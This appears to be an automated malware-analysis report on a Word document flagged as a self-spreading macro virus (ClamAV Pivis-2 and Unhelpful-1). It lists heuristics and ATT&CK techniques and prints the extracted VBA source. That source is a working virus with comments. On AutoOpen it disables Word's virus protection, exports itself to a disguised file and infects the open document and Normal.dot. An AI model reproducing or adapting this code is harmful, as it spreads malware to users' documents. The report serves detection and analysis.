MALICIOUS
260
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
This malicious OLE document contains legacy WordBasic and VBA macros, including an AutoOpen macro designed to spread. The script exports itself as 'c:\startup.log' and attempts to import it into other documents, indicating a macro-based infection and propagation mechanism. The ClamAV detection and heuristic firings strongly suggest a known trojan.
Heuristics 5
-
ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Pivis-2
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2733 bytes |
SHA-256: d874344951a146aa4bc9b6fff70fd4d20e278a038a01e4996ff264e2e644efb9 |
|||
|
Detection
ClamAV:
Doc.Trojan.Unhelpful-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Helper"
Sub AutoOpen()
' We hook the Word AutoOpen command to spread
' This virus will only spread on the "AutoOpen" of a document
On Error Resume Next
' Basic Error Handler - if there is an error just go to the next command
With Options
.ConfirmConversions = False
.VirusProtection = False
.SaveNormalPrompt = False
End With
' basic changes to keep the virus alive
Application.VBE.ActiveVBProject.VBComponents("Helper").Export "c:\startup.log"
' to comply with the SR-1 changes we must export our .bas file because
' copying it no longer works
' The exported .bas file can be called anything - I call it startup.log
' because that filename does not look suspicious
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "Helper" Then NormInstall = True
Next I
' We look in the Normal.dot to see if our module "Helper" exists
' if so NormInstall = True if not NormInstall = False
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "Helper" Then ActivInstall = True
Next I
' We look in the ActiveDocument to see if our module "Helper" exists
' if so ActivInstall = True if not ActivInstall = False
If ActivInstall = False Then
With ActiveDocument.VBProject
With .VBComponents.Import("c:\startup.log")
End With
End With
End If
' If ActivInstall = False (we are not installed in the current document)
' Then we must now import our .bas file and infect the current document
If NormInstall = False Then
With NormalTemplate.VBProject
With .VBComponents.Import("c:\startup.log")
End With
End With
' If NormInstall = False (we are not installed in the Normal.dot)
' Then we must now import our .bas file and infect the Normal.dot
End If
If ActivInstall = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
' If we were not in the current document then save the document now that
' the virus is installed
If NormInstall = False Then
If NormalTemplate.Saved = False Then NormalTemplate.Save
End If
' If we were not in the normal.dot then save the normal.dot now that
' the virus is installed
End Sub
Sub ViewVBCode()
' basic stealth - just disables the menus
End Sub
Sub FileTemplates()
' basic stealth - just disables the menus
End Sub
Sub ToolsMacro()
' basic stealth - just disables the menus
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.